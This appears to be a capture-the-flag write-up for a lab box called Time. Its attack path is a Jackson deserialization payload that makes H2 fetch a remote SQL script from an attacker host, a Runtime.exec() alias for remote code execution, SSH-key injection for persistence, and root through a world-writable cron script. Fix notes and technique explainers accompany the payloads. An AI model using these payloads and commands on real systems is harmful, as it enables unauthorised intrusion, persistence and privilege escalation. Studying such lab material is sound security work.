Time
Summary
Target time ($TARGET) runs an 'Online JSON parser' web application backed by a Java service with an embedded H2 database. Submitting malformed JSON to the validation endpoint caused the service to return a full Java stack trace, exposing the Jackson and H2 class names and pointing straight at a known deserialization gadget chain. My own JSON payload exploited Jackson's polymorphic type handling to instantiate the Logback JDBC gadget class, whose JDBC URL contained an H2 INIT=RUNSCRIPT directive that fetched and executed my own SQL script.
That script defined an H2 stored procedure wrapping Java's Runtime.exec(), delivering unauthenticated remote code execution as the web service account. Command execution was used to inject an SSH public key into the pericles user's authorized_keys file, establishing a persistent foothold and yielding the user flag. Privilege escalation to root required only a single file append: /usr/bin/timer_backup.sh, a backup script executed on a schedule by root, had world-writable permissions.
Appending SSH key injection commands to it caused root to write my public key into /root/.ssh/authorized_keys on the next scheduled run, and an SSH session as root captured the final flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 3
Service-version scan to fingerprint OpenSSH 8.2p1 and Apache 2.4.41.
$ nmap -sV -sC -p 22,80 $TARGETConfirm the web application, gather the Server header, and identify the JSON parser interface.
$ curl -si http://$TARGET/Baseline probe confirming the JSON validation endpoint accepts and processes input.
$ curl -s -X POST http://$TARGET/index.php -d 'mode=1&data={"a":1}'Exact commands 1
Send malformed input to trigger and capture the full Jackson/H2 stack trace from the response body.
$ curl -s -X POST http://$TARGET/index.php -d 'mode=1&data=notjson'FixSuppress detailed error output and Java stack traces from HTTP responsesMedium
Exact commands 3
H2 SQL script that registers a Java-backed shell-execution function and probes execution with id.
$ cat > /tmp/inject.sql <<'EOF'
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
} $$;
CALL SHELLEXEC('id');
EOFServe inject.sql from my machine; replace $ATTACKER_IP with your tun0 IP.
$ python3 -m http.server 8001 --bind $ATTACKER_IPTrigger the deserialization gadget. H2 fetches and executes inject.sql. Retry if the response contains 'exclusive write lock' — H2 lock contention; a subsequent request succeeds.
$ curl -s -X POST http://$TARGET/index.php --data-urlencode 'mode=1' --data-urlencode 'data=["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM \"http://'"$ATTACKER_IP"':8001/inject.sql\""}]'FixDisable Jackson polymorphic deserialization of untrusted input and restrict H2 INIT=RUNSCRIPTCritical
Exact commands 3
Generate an SSH keypair for foothold persistence.
$ ssh-keygen -t ed25519 -f /tmp/time_pericles_key -N '' -C time_periclesBuild key3.sql embedding the public key; serve it via the same Python HTTP server and trigger via the same deserialization payload pointed at key3.sql.
$ PUB=$(cat /tmp/time_pericles_key.pub); cat > /tmp/key3.sql <<EOF
CREATE ALIAS IF NOT EXISTS SHELLEXEC AS \\$\\$ String shellexec(String cmd) throws java.io.IOException { String[] command = {"bash", "-c", cmd}; Runtime.getRuntime().exec(command); return "ok"; } \\$\\$;
CALL SHELLEXEC('mkdir -p /home/pericles/.ssh && printf "%s\\n" "\$PUB" >> /home/pericles/.ssh/authorized_keys && chmod 700 /home/pericles/.ssh && chmod 600 /home/pericles/.ssh/authorized_keys');
EOFConfirm foothold as pericles and capture user flag → <user.txt>.
$ ssh -i /tmp/time_pericles_key -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=6 pericles@$TARGET 'id && cat /home/pericles/user.txt'Exact commands 3
Confirm -rwxrw-rw- world-writable permissions and review what root runs on schedule.
$ ssh -i /tmp/time_pericles_key pericles@$TARGET 'ls -l /usr/bin/timer_backup.sh && cat /usr/bin/timer_backup.sh'Append SSH key injection commands to the world-writable root-run script.
$ PUB=$(cat /tmp/time_pericles_key.pub); ssh -i /tmp/time_pericles_key pericles@$TARGET "printf '\nmkdir -p /root/.ssh\nprintf \'%s\\n\' \'$PUB\' >> /root/.ssh/authorized_keys\nchmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys\n' >> /usr/bin/timer_backup.sh"After the scheduled task fires (typically within 1-2 minutes), SSH in as root and read root.txt → <root.txt>.
$ ssh -i /tmp/time_pericles_key root@$TARGET 'id && cat /root/root.txt'FixRemove world-writable permissions from all root-executed scheduled scriptsCritical
Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain' — a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.
Why it works
A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all — prefer a data format that carries no types, such as JSON parsed into known structures — and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.